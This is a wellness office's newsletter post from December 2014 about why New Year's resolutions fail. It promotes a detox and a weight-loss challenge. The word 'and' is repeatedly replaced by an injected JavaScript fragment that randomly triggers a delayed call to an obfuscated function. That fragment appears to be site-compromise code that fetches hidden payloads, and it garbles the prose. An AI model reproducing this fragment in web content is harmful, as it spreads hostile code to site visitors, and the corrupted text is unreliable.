Tired of Failing At Your Resolutions?

Posted On : December 30, 2014

flc_new_years_resolutionDid you know that you were neurologically wired to fail at your New Year’s goals? New research is showing us that in order to succeed at changing a habit, we need to break the old neurological wiring while creating a new one.

How does this work? Think back to the previous years when you have set resolutions. You usually start on Jan.1st, all excited ready to go, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if you are lucky you make it to the third week in  January, but then you fall back into your old habits. Defeated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and  disappointed, you tell yourself  New Year’s resolutions don’t work andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you vow to never do them again.

Well I have good news for you! With a few simple steps, you can rewire your brain to succeed at your New Year’s goals. But it starts with approaching your health goals from a different angle.

The first step is to NOT start your New Year’s goals on Jan. 1.  That’s right! The quickest way to slip back into old patterns is to do the same routine that brought you failure before. This is why we will be starting our office weight loss andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and detox program on January 10th. It’s our first attempt in rewiring your brain to succeed.

The second step is surround  yourself with a community committed to the same goal. The encouragement of a community is powerful on your brain. This is why we have two group events to give you support. Our Community Dinner on Jan. 12th will launch our 15-day detox program andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on Feb. 7th we will be having our annual Weight Loss Makeover that starts our 30-day weight loss challenge. See front desk for sign-ups.

The third step is to create unstoppable momentum. We have created two steps to help you create lasting momentum with your health. Instead of having just a 30-day challenge, we have added in a pre-challenge. It’s our 15-day detox. Combine those two together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you have over 45 days of habit changing behaviors that will build you unstoppable momentum. The two were built to complement each other. See back of this newsletter for details.